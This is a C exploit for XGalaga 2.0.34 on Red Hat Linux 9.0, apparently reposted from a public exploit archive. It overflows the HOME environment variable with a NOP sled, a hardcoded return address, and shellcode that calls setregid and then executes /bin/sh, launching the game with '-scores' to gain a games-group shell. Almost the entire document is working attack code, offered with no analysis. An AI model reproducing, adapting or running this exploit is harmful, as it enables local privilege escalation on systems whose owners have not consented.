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XGalaga 2.0.34 local game exploit (Red Hat 9.0)
[===============================================
XGalaga 2.0.34 local game exploit (Red Hat 9.0)
===============================================
/* 0x333xgalaga => XGalaga 2.0.34 local game exploit (Red Hat 9.0)
*
* tested against xgalaga-2.0.34-1.i386.rpm
* under Red Hat Linux 9.0
*
* - bug found by Steve Kemp
* - exploit coded by c0wboy @ 0x333
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BIN "/usr/X11R6/bin/xgalaga"
#define SIZE 264
#define RET 0xbffffe2c /* tested against Red Hat Linux 9.0 */
#define NOP 0x90
unsigned char shellcode[] =
/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"
/* exec /bin/sh shellcode */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
void banner (void);
void memret (char *, int, int, int);
void banner (void)
{
fprintf (stdout, "\n\n --- xgalaga local GAME exploit by c0wboy ---\n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
}
void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);
for (i=0; i<size; i+=4)
*ptr++ = ret;
ptr = 0x0;
}
int main ()
{
int ret = RET;
char out[SIZE];
memret ((char *)out, ret, SIZE-1, 0);
memset ((char *)out, NOP, 33);
memcpy ((char *)out+33, shellcode, strlen(shellcode));
setenv ("HOME", out, 1);
banner ();
execl (BIN, BIN, "-scores", 0x0); // the switch "-scores" is necessary to exploit the game
}
# 0day.today [2024-12-24] #